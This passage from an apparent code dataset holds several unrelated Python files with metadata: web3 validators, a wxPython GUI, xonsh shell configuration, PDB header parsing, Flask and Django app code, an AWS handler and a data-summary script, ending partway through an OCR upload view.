The env, input, and output arguments encode both the definition of the\n  job as well as the single job's values.\n\n  Env arguments are simple name=value pairs.\n  Input and output file arguments can contain name=value pairs or just values.\n  Either of the following is valid:\n\n    remote_uri\n    myfile=remote_uri\n\n  Args:\n    envs: list of environment variable job parameters\n    inputs: list of file input parameters\n    inputs_recursive: list of recursive directory input parameters\n    outputs: list of file output parameters\n    outputs_recursive: list of recursive directory output parameters\n    input_file_param_util: Utility for producing InputFileParam objects.\n    output_file_param_util: Utility for producing OutputFileParam objects.\n\n  Returns:\n    job_data: an array of length one, containing a dictionary of\n    'envs', 'inputs', and 'outputs' that defines the set of parameters and data\n    for a job.\n  \"\"\"\n\n  # For environment variables, we need to:\n  #   * split the input into name=value pairs (value optional)\n  #   * Create the EnvParam object\n  env_data = []\n  for arg in envs:\n    name, value = split_pair(arg, '=', nullable_idx=1)\n    env_data.append(EnvParam(name, value))\n\n  # For input files, we need to:\n  #   * split the input into name=remote_uri pairs (name optional)\n  #   * validate the remote uri\n  #   * generate a docker_path\n  input_data = []\n  for (recursive, args) in ((False, inputs), (True, inputs_recursive)):\n    for arg in args:\n      name, value = split_pair(arg, '=', nullable_idx=0)\n      name = input_file_param_util.get_variable_name(name)\n      docker_path, remote_uri = input_file_param_util.parse_uri(\n          value, recursive)\n      input_data.append(\n          InputFileParam(name, value, docker_path, remote_uri, recursive))\n\n  # For output files, we need to:\n  #   * split the input into name=remote_uri pairs (name optional)\n  #   * validate the remote uri\n  #   * generate the remote uri\n  #   * generate a docker_path\n  output_data = []\n  for (recursive, args) in ((False, outputs), (True, outputs_recursive)):\n    for arg in args:\n      name, value = split_pair(arg, '=', 0)\n\n      name = output_file_param_util.get_variable_name(name)\n      docker_path, remote_uri = output_file_param_util.parse_uri(\n          value, recursive)\n      output_data.append(\n          OutputFileParam(name, value, docker_path, remote_uri, recursive))\n\n  return [{\n      'envs': env_data,\n      'inputs': input_data,\n      'outputs': output_data,\n  }]\n","sub_path":"dsub/lib/param_util.py","file_name":"param_util.py","file_ext":"py","file_size_in_byte":19910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"649145206","text":"from eth_utils import (\n    is_address,\n    is_checksum_address,\n    is_checksum_formatted_address,\n    is_dict,\n    is_list_like,\n)\n\n\ndef validate_abi(abi):\n    \"\"\"\n    Helper function for validating an ABI\n    \"\"\"\n    if not is_list_like(abi):\n        raise TypeError(\"'abi' is not a list\")\n    for e in abi:\n        if not is_dict(e):\n            raise TypeError(\"The elements of 'abi' are not all dictionaries\")\n\n\ndef validate_address(address):\n    \"\"\"\n    Helper function for validating an address\n    \"\"\"\n    if not is_address(address):\n        raise TypeError(\"'address' is not an address\")\n    validate_address_checksum(address)\n\n\ndef validate_address_checksum(address):\n    \"\"\"\n    Helper function for validating an address EIP55 checksum\n    \"\"\"\n    if is_checksum_formatted_address(address):\n        if not is_checksum_address(address):\n            raise ValueError(\"'address' has an invalid EIP55 checksum\")\n","sub_path":"venv/lib/python3.5/site-packages/web3/utils/validation.py","file_name":"validation.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"189806731","text":"from .base import *\nfrom .components import Components\nimport sys\n\n\nclass GUI(wx.App):\n\n    def __init__(self, app_mgr, verbose=False):\n\n        wx.App.__init__(self, redirect=False)\n\n        cursors = {}\n        cursor_path = os.path.join(GFX_PATH, \"dropper.cur\")\n        cursors[\"dropper\"] = wx.Cursor(cursor_path, wx.BITMAP_TYPE_CUR)\n        cursor_path = os.path.join(GFX_PATH, \"drag.cur\")\n        cursors[\"drag\"] = wx.Cursor(cursor_path, wx.BITMAP_TYPE_CUR)\n\n        font = wx.Font(8, wx.FONTFAMILY_DEFAULT,\n                       wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL)\n        fonts = {\"default\": font}\n\n        Cursors.init(cursors)\n        Fonts.init(fonts)\n        BaseObject.init(verbose)\n        Mgr.init(app_mgr, verbose)\n\n        self._alt_key_event_ids = {\n            wx.WXK_NUMPAD_DELETE: wx.WXK_DELETE,\n            wx.WXK_NUMPAD_ENTER: wx.WXK_RETURN,\n            wx.WXK_NUMPAD_TAB: wx.WXK_TAB,\n            wx.WXK_NUMPAD_INSERT: wx.WXK_INSERT,\n            wx.WXK_NUMPAD_HOME: wx.WXK_HOME,\n            wx.WXK_NUMPAD_END: wx.WXK_END,\n            wx.WXK_NUMPAD_PAGEUP: wx.WXK_PAGEUP,\n            wx.WXK_NUMPAD_PAGEDOWN: wx.WXK_PAGEDOWN,\n            wx.WXK_NUMPAD_LEFT: wx.WXK_LEFT,\n            wx.WXK_NUMPAD_RIGHT: wx.WXK_RIGHT,\n            wx.WXK_NUMPAD_UP: wx.WXK_UP,\n            wx.WXK_NUMPAD_DOWN: wx.WXK_DOWN,\n            wx.WXK_NUMPAD_SPACE: wx.WXK_SPACE,\n            wx.WXK_NUMPAD_F1: wx.WXK_F1,\n            wx.WXK_NUMPAD_F2: wx.WXK_F2,\n            wx.WXK_NUMPAD_F3: wx.WXK_F3,\n            wx.WXK_NUMPAD_F4: wx.WXK_F4,\n            wx.WXK_ADD: 0x2b,\n            wx.WXK_SUBTRACT: 0x2d,\n            wx.WXK_MULTIPLY: 0x2a,\n            wx.WXK_DIVIDE: 0x2f,\n            wx.WXK_DECIMAL: 0x2e,\n            wx.WXK_NUMPAD_ADD: 0x2b,\n            wx.WXK_NUMPAD_SUBTRACT: 0x2d,\n            wx.WXK_NUMPAD_MULTIPLY: 0x2a,\n            wx.WXK_NUMPAD_DIVIDE: 0x2f,\n            wx.WXK_NUMPAD_DECIMAL: 0x2e,\n            wx.WXK_NUMPAD_EQUAL: 0x3d,\n        }\n\n        for wx_code, key_code in zip(range(wx.WXK_NUMPAD0, wx.WXK_NUMPAD9 + 1), range(0x30, 0x3a)):\n            self._alt_key_event_ids[wx_code] = key_code\n\n        Mgr.expose(\"alt_key_event_ids\", lambda: self._alt_key_event_ids)\n        self._hotkey_prev = None\n\n        # Create a new event loop (to override default wx.EventLoop)\n        self._evt_loop = wx.EventLoop()\n        self._old_loop = wx.EventLoop.GetActive()\n        wx.EventLoop.SetActive(self._evt_loop)\n\n        size = (1006, 656 + 48)\n        style = wx.MINIMIZE_BOX | wx.MAXIMIZE_BOX | wx.CLOSE_BOX | wx.SYSTEM_MENU | wx.CAPTION\n        self._title_main = \"Panda3D Studio - \"\n        main_frame = wx.Frame(None, -1, self._title_main + \"New\", style=style)\n        self.SetTopWindow(main_frame)\n\n        if PLATFORM_ID == \"Windows\":\n            main_frame.SetPosition(wx.Point(-10000, -10000))\n\n        main_frame.SetClientSize(size)\n        main_frame.Show()\n        self._main_frame = main_frame\n        panel = wx.Panel(main_frame, -1, size=size)\n        default_focus_receiver = panel\n        self._default_focus_receiver = default_focus_receiver\n        default_focus_receiver.Bind(wx.EVT_KEY_DOWN, self.__on_key_down)\n        default_focus_receiver.Bind(wx.EVT_KEY_UP, self.__on_key_up)\n        main_frame.Bind(wx.EVT_CLOSE, self.__on_close)\n        main_frame.Bind(wx.EVT_MOUSEWHEEL, lambda evt:\n                        EventDispatcher.dispatch_event(\"\", \"mouse_wheel\", evt))\n        Mgr.expose(\"main_window\", lambda: self._main_frame)\n        Mgr.expose(\"default_focus_receiver\", lambda: default_focus_receiver)\n        Mgr.accept(\"set_scene_label\", self.__set_scene_label)\n        Mgr.accept(\"handle_key_down\", self.__on_key_down)\n        Mgr.accept(\"handle_key_up\", self.__on_key_up)\n        Mgr.add_app_updater(\"pending_tasks\", PendingTasks.handle)\n\n        self._components = Components(default_focus_receiver)\n        self._exit_handler = self._components.exit_handler\n\n    # wxWindows calls this method to initialize the application\n    def OnInit(self):\n\n        self.SetAppName(\"Panda3D Studio\")\n        self.SetClassName(\"MyAppClass\")\n\n        return True\n\n    def setup(self):\n\n        self._components.setup()\n        wx.CallAfter(self._main_frame.Center)\n\n    def get_viewport_data(self):\n\n        return self._components.get_viewport_data()\n\n    def get_event_loop_handler(self):\n\n        return self.__process_event_loop\n\n    @staticmethod\n    def get_key_event_ids():\n\n        key_event_ids = {\n            \"Esc\": wx.WXK_ESCAPE,\n            \"PrtScr\": wx.WXK_PRINT,\n            \"ScrlLk\": wx.WXK_SCROLL,\n            \"NumLk\": wx.WXK_NUMLOCK,\n            \"CapsLk\": wx.WXK_CAPITAL,\n            \"BkSpace\": wx.WXK_BACK,\n            \"Del\": wx.WXK_DELETE,\n            \"Enter\": wx.WXK_RETURN,\n            \"Tab\": wx.WXK_TAB,\n            \"Ins\": wx.WXK_INSERT,\n            \"Home\": wx.WXK_HOME,\n            \"End\": wx.WXK_END,\n            \"PgUp\": wx.WXK_PAGEUP,\n            \"PgDn\": wx.WXK_PAGEDOWN,\n            \"Left\": wx.WXK_LEFT,\n            \"Right\": wx.WXK_RIGHT,\n            \"Up\": wx.WXK_UP,\n            \"Down\": wx.WXK_DOWN,\n            \"Shift\": wx.WXK_SHIFT,\n            \"Ctrl\": wx.WXK_CONTROL,\n            \"Alt\": wx.WXK_ALT,\n            \" \": wx.WXK_SPACE,\n        }\n\n        for key_code in range(0x41, 0x5b):\n            char = chr(key_code)\n            key_event_ids[char] = key_code\n\n        for key_code in range(0x21, 0x41) + range(0x5b, 0x61) + range(0x7b, 0x80):\n            key_event_ids[\"%d\" % key_code] = key_code\n\n        for i, key_code in enumerate(range(wx.WXK_F1, wx.WXK_F12 + 1)):\n            key_event_ids[\"F%d\" % (i + 1)] = key_code\n\n        return key_event_ids\n\n    @staticmethod\n    def get_mod_key_codes():\n\n        return {\"shift\": wx.MOD_SHIFT, \"ctrl\": wx.MOD_CONTROL, \"alt\": wx.MOD_ALT}\n\n    @staticmethod\n    def get_max_color_value():\n\n        return 255\n\n    def get_key_handlers(self):\n\n        return {\n            \"down\": lambda key: self.__on_key_down(remote_key=key),\n            \"up\": lambda key: self.__on_key_up(remote_key=key)\n        }\n\n    def __process_event_loop(self):\n\n        while self._evt_loop.Pending():\n            self._evt_loop.Dispatch()\n\n        self.ProcessIdle()\n\n    def __on_close(self, event):\n\n        def cleanup():\n\n            for window in wx.GetTopLevelWindows():\n                window.Hide()\n\n            for window in wx.GetTopLevelWindows():\n                if window is not self._main_frame:\n                    window.Close()\n\n            wx.EventLoop.SetActive(self._old_loop)\n            self._main_frame.Destroy()\n\n            sys.exit()\n\n        if event.CanVeto() and not self._exit_handler():\n            event.Veto()\n        else:\n            cleanup()\n\n    def __on_key_down(self, event=None, remote_key=None):\n\n        mod_code = 0\n\n        if event:\n\n            key = event.GetKeyCode()\n\n            if key in self._alt_key_event_ids:\n                key = self._alt_key_event_ids[key]\n\n            if event.AltDown():\n                mod_code |= wx.MOD_ALT\n                GlobalData[\"alt_down\"] = True\n\n            if event.CmdDown():\n                mod_code |= wx.MOD_CONTROL\n                GlobalData[\"ctrl_down\"] = True\n\n            if event.ShiftDown():\n                mod_code |= wx.MOD_SHIFT\n                GlobalData[\"shift_down\"] = True\n\n            if Mgr.remotely_handle_key_down(key):\n                return\n\n        else:\n\n            key = remote_key\n\n            if GlobalData[\"alt_down\"]:\n                mod_code |= wx.MOD_ALT\n\n            if GlobalData[\"ctrl_down\"]:\n                mod_code |= wx.MOD_CONTROL\n\n            if GlobalData[\"shift_down\"]:\n                mod_code |= wx.MOD_SHIFT\n\n        hotkey = (key, mod_code)\n\n        if self._hotkey_prev == hotkey:\n            hotkey_repeat = True\n        else:\n            hotkey_repeat = False\n            self._hotkey_prev = hotkey\n\n        self._components.handle_key_down(key, mod_code, hotkey, hotkey_repeat)\n\n    def __on_key_up(self, event=None, remote_key=None):\n\n        self._hotkey_prev = None\n\n        if event:\n\n            key = event.GetKeyCode()\n\n            if key in self._alt_key_event_ids:\n                key = self._alt_key_event_ids[key]\n\n            if key == wx.WXK_ALT:\n                GlobalData[\"alt_down\"] = False\n            elif key == wx.WXK_CONTROL:\n                GlobalData[\"ctrl_down\"] = False\n            elif key == wx.WXK_SHIFT:\n                GlobalData[\"shift_down\"] = False\n\n            if Mgr.remotely_handle_key_up(key):\n                return\n\n        else:\n\n            key = remote_key\n\n        self._components.handle_key_up(key)\n\n    def __set_scene_label(self, scene_label):\n\n        self._main_frame.SetTitle(self._title_main + scene_label)\n","sub_path":"src/gui/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":8695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"111935783","text":"#!/usr/bin/env python\nimport sys, os, time\n\n\n\nclass getStuff():\n\n\tdef __init__(self):\n\n\t\tsendVar = \"\"\t\n\n\tdef getVars(self, gottenVar):\n\t\t\n\t\tgottenVar = input(\"give me something: \")\n\t\tself.sendVar = gottenVar\n\n\tdef paintVars(self, varToPrint):\n\t\n\t\tvarToPrint = self.sendVar\n\t\tprint(\"this is the stuff: {}\".format(str(varToPrint)))\n\t\ttime.sleep(1)\n\t\t\n\n\t\t\n\n\n\nclass Simple():\n\n\tdef __init__(self, var1, var2):\n\t\n\t\tself.var1 = var1\n\t\tself.var2 = var2\n\n\tdef printVar(self):\n\n\t\tprint(self.var1)\n\t\tprint(self.var2)\n\n\t\t\n\ndef main():\n\n\tprint(\"Just a test\\n\")\n\n\tv1 = input(\"var 1: \")\n\tv2 = input(\"var 2: \")\n\n\tnewSimple = Simple(v1, v2)\n\tnewSimple.printVar()\n\n\n\tplaceholder = \"\"\n\twantThings = getStuff()\n\twantThings.getVars(placeholder)\n\n\twantThings.paintVars(placeholder)\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"concepts/classes/class_files/file_class.py","file_name":"file_class.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"345429804","text":"# -*- coding: utf-8 -*-\nimport os\nimport os.path\nimport re\nimport json\nimport invoke\nfrom . import git\nfrom collections import OrderedDict\nfrom operator import itemgetter\nimport prompt_toolkit\nfrom .lib import HOSTNAME, run, silent_run\nfrom .xonsh_builtin import x_env, x_aliases, x_events, x_completers\nfrom prompt_toolkit.keys import Keys\nfrom prompt_toolkit.filters import ViInsertMode\nfrom .commands import load_commands\nfrom .path import get_paths\nfrom .aliases import get_aliases\nfrom .env import apply_envs\nfrom . import ctrl_r\n\n# from .detect_user_docker import detect_user_docker_for_xonsh\n\nx_env[\"XONSH_SHOW_TRACEBACK\"] = True\n\nc = invoke.Context({\"run\": {\"echo\": True, \"warn\": True, \"hide\": False}})\n\npaths = x_env[\"PATH\"]\n\n\ndef _add_path_if_exists(path: str, if_path: str = None):\n    if if_path:\n        exist = os.path.exists(if_path)\n    else:\n        exist = os.path.exists(path)\n    if exist:\n        paths.insert(0, path)\n\n\nHOME = x_env[\"HOME\"]\n\n\ndef _default_charsets():\n    \"\"\"\n    文字コードの標準設定\n    \"\"\"\n    x_env[\"LESSCHARSET\"] = \"UTF-8\"\n    x_env[\"LANG\"] = \"en_US.UTF-8\"\n    x_env[\"LC_CTYPE\"] = \"en_US.UTF-8\"\n    x_env[\"LC_ALL\"] = \"en_US.UTF-8\"\n\n\ndef __add_paths():\n    default_paths = x_env[\"PATH\"]\n    x_env[\"PATH\"] = get_paths(default_paths) + default_paths\n\n\ndef __set_aliases():\n    for alias, cmd in get_aliases(human=True).items():\n        x_aliases[alias] = cmd\n\n\ndef _gcloud_config():\n    paths = [\n        \"/usr/local/bin/python2.7\",\n        \"/usr/local/bin/python2\",\n        \"/usr/local/bin/python\",\n        \"/usr/bin/python2.7\",\n        \"/usr/bin/python2\",\n        \"/usr/bin/python\",\n    ]\n    for path in paths:\n        if os.path.exists(path):\n            x_env[\"CLOUDSDK_PYTHON\"] = path\n        return\n\n\ndef _new_uuid():\n    import uuid\n\n    print(uuid.uuid1())\n\n\ndef _get_history(session_history=None, return_list=False):\n    \"\"\"\n    https://qiita.com/riktor/items/4a90b4e125cd091a9d07\n    TODO: 時々お掃除いる？\n    \"\"\"\n    hist_dir = x_env[\"XONSH_DATA_DIR\"]\n    files = [\n        os.path.join(hist_dir, f)\n        for f in os.listdir(hist_dir)\n        if f.startswith(\"xonsh-\") and f.endswith(\".json\")\n    ]\n    file_hist = [json.load(open(f))[\"data\"][\"cmds\"] for f in files]\n    cmds = [\n        (c[\"inp\"].replace(\"\\n\", \"\"), c[\"ts\"][0])\n        for cmds in file_hist\n        for c in cmds\n        if c\n    ]\n    cmds.sort(key=itemgetter(1))\n    cmds = [c[0] for c in cmds[::-1]]\n    if session_history:\n        cmds.extend(session_history)\n    zip_with_dummy = list(zip(cmds, [0] * len(cmds)))[::-1]\n    cmds = list(OrderedDict(zip_with_dummy).keys())[::-1]\n    if return_list:\n        return cmds\n    else:\n        return \"\\n\".join(cmds)\n\n\ndef set_keybind():\n    @x_events.on_ptk_create\n    def __custom_keybindings(bindings, **kw):\n        handler = bindings.add\n        insert_mode = ViInsertMode()\n\n        @handler(Keys.ControlW)\n        def __ctrl_w(event):\n            buf = event.current_buffer  # type: prompt_toolkit.buffer.Buffer\n            text = buf.text[: buf.cursor_position]  # type: str\n            m = re.search(r\"[/,.=\\-\\s][^/,.=\\-\\s]+[/,.=\\-\\s]?$\", text)\n            if m is not None:\n                buf.delete_before_cursor(len(text) - m.start() - 1)\n                return\n            buf.delete_before_cursor(len(text))\n\n        @handler(Keys.ControlK)\n        def __ctrl_k(event):\n            if event.current_buffer.suggestion:\n                event.current_buffer.insert_text(event.current_buffer.suggestion.text)\n\n        @handler(Keys.ControlR, filter=insert_mode)\n        def __ctrl_r_event(event):\n            ctrl_r.select(event.current_buffer)\n\n\ndef invoke_completer(prefix: str, line: str, begidx: int, endidx: int, ctx: dict):\n    if not line.startswith(\"inv\"):\n        return set()\n    args = line.split(\" \")\n    if len(args) > 1 and args[-2] == \"-f\":\n        from xonsh.completers.path import complete_path\n\n        return complete_path(prefix, line, begidx, endidx, ctx)\n    tasks = silent_run(\"invoke --complete\")\n    return set(tasks.split(\"\\n\"))\n\n\ndef set_inv_completer():\n    x_completers[\"inv\"] = invoke_completer\n    x_completers.move_to_end(\"inv\", False)\n    pass\n\n\ndef load_xontrib():\n    # run(\"xontrib load coreutils readable-traceback\")\n    run(\"xontrib load direnv\")\n\n\ndef add_bash_competion():\n    if os.path.exists(\"/home/linujxbrew/.linuxbrew/etc/bash_completion.d\"):\n        x_env[\"BASH_COMPLETIONS\"] = \"/home/linuxbrew/.linuxbrew/etc/bash_completion.d\"\n\n\ndef launch_ssh_agent():\n    if HOSTNAME not in [\"violet-gopher\"]:\n        return\n    sock = os.environ.get(\"XDG_RUNTIME_DIR\", \"/run/user/1000\") + \"/keyring/.ssh\"\n    if os.path.exists(sock):\n        return\n    silent_run(f\"ssh-agent -a {sock}\")\n\n\ndef load():\n    from .prompt import set_prompt\n\n    launch_ssh_agent()\n\n    __add_paths()\n    set_prompt()\n\n    _default_charsets()\n\n    load_xontrib()\n\n    _gcloud_config()\n\n    __set_aliases()\n    load_commands()\n    x_aliases[\"uuid\"] = _new_uuid\n    set_keybind()\n    set_inv_completer()\n    apply_envs()\n\n    x_env[\"VI_MODE\"] = True\n    if \"PYENV_VERSION\" in x_env:\n        del x_env[\"PYENV_VERSION\"]\n\n    git.set_aliases()\n\n    # detect_user_docker_for_xonsh()\n\n    add_bash_competion()\n\n    x_env[\"NNYN_DOTFILES_LOADED\"] = \"1\"\n","sub_path":"xonsh/xonsh_conf/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"623930520","text":"# modules\nimport regex as re\n\n# get spacegroup\ndef spacegroup(header):\n    try:\n        pattern = re.search( r\"REMARK\\s\\d+\\sSYMMETRY\\sOPERATORS\\sFOR\\sSPACE\\sGROUP:\\s(\\D\\s\\d+\\s\\d+\\s\\d+)\", header )\n        doi = pattern.group(1)\n        if AttributeError:\n            return doi\n    except AttributeError:\n        return \"the spacegroup does not seems to be present in the pdb, is this actually a pdb file?\"\n\n# get cell a\ndef cell(header, cell):\n    try:\n        pattern = re.search( r\"CRYST1\\s*(\\d+\\.\\d+)\\s*(\\d+\\.\\d+)\\s*(\\d+\\.\\d+)\\s*(\\d+\\.\\d+)\\s*(\\d+\\.\\d+)\\s*(\\d+\\.\\d+)\\s*(\\D\\s\\d+\\s\\d+\\s\\d+)\", header )\n        a = float( pattern.group(1) )\n        b = float( pattern.group(2) )\n        c = float( pattern.group(3) )\n        alpha = float( pattern.group(4) )\n        beta = float( pattern.group(5) )\n        gamma = float( pattern.group(6) )\n        if AttributeError:\n            if cell == \"a\":\n                return a\n            elif cell ==\"b\":\n                return b\n            elif cell ==\"c\":\n                return c\n            elif cell ==\"alpha\":\n                return alpha\n            elif cell ==\"beta\":\n                return beta\n            elif cell ==\"gamma\":\n                return gamma\n    except AttributeError:\n        return \"a, b, c, alpha, beta, gamma does not seems to be present in the pdb, is this actually a pdb file?\"\n\n","sub_path":"utils/pdb_info/pdb_header_scrub.py","file_name":"pdb_header_scrub.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"154435592","text":"# -*- coding: utf-8 -*-\nimport logging\nfrom flask import Blueprint, render_template\n\n\n_logger = logging.getLogger(__name__)\n\n\nmod = Blueprint('home', __name__, template_folder='templates')\n\n\n@mod.route('/')\ndef index():\n    return render_template('home/index.html')\n\n\n@mod.route('/debug')\ndef debug():\n    _logger.debug('index')\n    _logger.info('index')\n    _logger.warn('index')\n    _logger.error('index')\n\n    return 'DEBUG'\n","sub_path":"appl/home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"485974404","text":"'''\nCreated on 3. dec. 2014\n\n@author: luka.skrinjar\n'''\nfrom pprint import pprint\nclass FirstObject():\n    def __init__(self):\n        None\n        \nclass SecondObject():\n    def __init__(self, name, age):\n        self.name = name\n        self.age = age\n        \na = FirstObject()\na.lastname = \"Smith\"\npprint(vars(a))\na = SecondObject(name = \"Joth\", age=50)\npprint(vars(a))","sub_path":"src/V46/sandbox/replace_object.py","file_name":"replace_object.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"140792437","text":"from cloud.aws import *\nfrom cloud.response import Response\n\n\n# Define the input output format of the function.\n# This information is used when creating the *SDK*.\ninfo = {\n    'input_format': {\n        'partition': 'str',\n    },\n    'output_format': {\n        'item': {\n            'count': 'int'\n        }\n    }\n}\n\n\ndef do(data, boto3):\n    body = {}\n    recipe = data['recipe']\n    app_id = data['app_id']\n    params = data['params']\n\n    table_name = 'database-{}'.format(app_id)\n    partition = params['partition']\n\n    dynamo = DynamoDB(boto3)\n    count = dynamo.get_item_count(table_name, '{}-count'.format(partition))\n    item = count.get('Item', {'count': 0})\n    body['item'] = item\n    return Response(body)\n","sub_path":"aws_interface/cloud/database/get_item_count.py","file_name":"get_item_count.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"401886897","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# @Filename: step01_check_country_info_of_compustat_data\n# @Date: 2020/3/14\n# @Author: Mark Wang\n# @Email: wangyouan@gamil.com\n\n\"\"\"\npython -m SummarizeData.step01_check_country_info_of_compustat_data\n\"\"\"\n\nimport os\n\nimport pandas as pd\nfrom pandas import DataFrame\n\nfrom Constants import Constants as const\n\nif __name__ == '__main__':\n    reg_df: DataFrame = pd.read_stata(os.path.join(const.STATA_DATA_PATH, '20200311_regression_data.dta'))\n    country_list = reg_df[const.COUNTRY_ISO3].drop_duplicates()\n    reg_df.loc[:, 'has_event'] = reg_df[['formal_Extend', 'formal_Shrink', 'real_Extend', 'real_Shrink']].sum(axis=1)\n    reg_df.loc[:, 'has_event'] = (reg_df['has_event'] > 0).astype(int)\n    used_event_year_df: DataFrame = reg_df[reg_df['has_event'] == 1].drop_duplicates(\n        subset=[const.COUNTRY_ISO3, const.FISCAL_YEAR])\n    country_year_group = reg_df.groupby([const.COUNTRY_ISO3, const.FISCAL_YEAR])\n    country_year_event = country_year_group[\n        ['has_event', 'formal_Extend', 'formal_Shrink', 'real_Extend', 'real_Shrink']].last()\n    country_year_firm_count = country_year_group[const.GVKEY].count()\n    country_year_firm_count.name = 'firm_number'\n    country_year_summary: DataFrame = country_year_event.merge(country_year_firm_count, left_index=True,\n                                                               right_index=True).reset_index(drop=False)\n    country_info_df: DataFrame = pd.read_csv(os.path.join(const.DATA_PATH, 'countries_codes_and_coordinates.csv'),\n                                             usecols=[\"Alpha-3 code\", \"Numeric code\", \"Country\"]).rename(\n        columns={\"Alpha-3 code\": const.COUNTRY_ISO3, \"Numeric code\": const.COUNTRY_ISO3N}).drop_duplicates(\n        subset=[const.COUNTRY_ISO3])\n    country_info_df.loc[:, const.COUNTRY_ISO3] = country_info_df[const.COUNTRY_ISO3].str.strip('\" ').astype(str)\n    country_info_df.loc[:, const.COUNTRY_ISO3N] = country_info_df[const.COUNTRY_ISO3N].str.strip('\" ').astype(int)\n\n    country_year_summary2: DataFrame = country_year_summary.merge(country_info_df, on=[const.COUNTRY_ISO3], how='left')\n\n    country_year_summary2.to_excel(os.path.join(const.RESULT_PATH, '20190314_country_year_summary.xlsx'))\n","sub_path":"SummarizeData/step01_check_country_info_of_compustat_data.py","file_name":"step01_check_country_info_of_compustat_data.py","file_ext":"py","file_size_in_byte":2255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"576318069","text":"from django.db import models\nfrom django.core.mail import EmailMessage\nfrom django.conf import settings\n\n\n# Create your models here.\nclass Suggestion(models.Model):\n    \"\"\"\n    Stores a single suggestion entry.\n    It saves the users name and email and the suggestions text.\n    Country name and city are not displayed to user but are saving automatically through the view.\n    Improvement: registering users and creating a foreign key to user. \n    Maybe extending User model to create a profile.\n    \"\"\"\n    name = models.CharField(max_length=100)\n    email = models.EmailField()\n    text = models.TextField(max_length=300)\n    created_at = models.TimeField(auto_now_add=True)\n    country_name = models.CharField(max_length=30, blank=True, null=True)\n    city = models.CharField(max_length=30, blank=True, null=True)\n\n    def get_replies(self):\n        # Display if suggestion has replies in admin suggestions list\n        if self.replies.all():\n            return True\n        else:\n            return False\n\n    def __str__(self):\n        return \"%s\" % self.pk\n\n\nclass Reply(models.Model):\n    \"\"\"\n    Stores a single reply entry.\n    Related to :model:`home.suggestion`.\n    \"\"\"\n    suggestion = models.ForeignKey(Suggestion, on_delete=models.CASCADE, related_name=\"replies\")\n    text = models.TextField(max_length=300)\n    created_at = models.TimeField(auto_now_add=True)\n\n    class Meta:\n        verbose_name_plural = \"Replies\"\n\n    def get_username(self):\n        \"\"\" Display suggestion username on the admin replies list. \"\"\"\n        return self.suggestion.name\n\n    def save(self, *args, **kwargs):\n        \"\"\" Sends email to user upon suggestion post. \"\"\"\n        subject = \"Reply to suggestion\"\n        email_message = self.text\n        user_email = settings.ADMINS\n        email = EmailMessage(\n            subject=subject, \n            body=email_message, \n            from_email=user_email, \n            to=[self.suggestion.email],\n            )\n        email.send(fail_silently=False)\n        super(Reply, self).save(*args, **kwargs)\n\n    def __str__(self):\n        return \"%s\" % self.pk\n\n","sub_path":"home/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"182506227","text":"\nfrom django.shortcuts import render\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import authentication,permissions\nfrom rest_framework.authentication import TokenAuthentication\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.parsers import MultiPartParser, FormParser\nimport io\nimport tempfile\nimport requests\nfrom .models import Recognition\nfrom .preprocess import *\nimport threading\nimport queue\nimport json\nfrom .post_process import ocr_word_predictions\nfrom .post_process import retrieve_medicine_json\nfrom .sift_matcher import *\nimport codecs\nimport sys\n\nclass RecognitionPost(APIView):\n    #authentication_classes = (TokenAuthentication,)\n    #permission_classes = (IsAuthenticated,)\n    parser_classes = (MultiPartParser,)\n\n\n    def post(self, request, format=None):\n\n        f = request.FILES['file']\n        temp = tempfile.NamedTemporaryFile(delete=False)\n        extension = f.name.split(\".\")[1]\n        filename = \"{}.{}\".format(temp.name, extension)\n\n        print(\"Obtained file: \" + filename)\n\n        with io.BufferedWriter(io.FileIO(filename, \"wb\")) as d:\n            for c in f.chunks():\n                d.write(c)\n\n        #TODO: AUTH\n        #recognition = Recognition.objects.create(owner=request.user, imagePath=filename)\n\n        # TODO: SIFT MATCHING\n\n        # 1. Look at user profile is empty?\n        sift_path = \"C:/Users/raistlin/Documents/Visual Studio 2013/Projects/DjangoMediseen/Mediseen/user_profile/\"\n\n        res_list = []\n        if os.listdir(sift_path) != []:\n            print(\"User profile is not empty\")\n            res_list.append(sift_matcher(filename))\n            if res_list[0] is not None:\n                return Response({'ocr_result': res_list}, status=201)\n\n        #return Response({'ocr_result': [\"Cannot Recognize\"]}, status=201)\n\n        # # TODO: Detect skew angle\n        BW, angle = detect_skew_angle(filename)\n        if BW is None:\n            return Response({'ocr_result': [\"Cannot Recognize\"]}, status=201)\n\n        threads = []\n        for i in [0, 90, 180, 270]:  #\n            t = threading.Thread(target=rotate, args=(BW,  angle + i))  # parameters are skew_angle and 4 quadrants\n            threads.append(t)\n            t.start()\n\n        for t in threads:\n            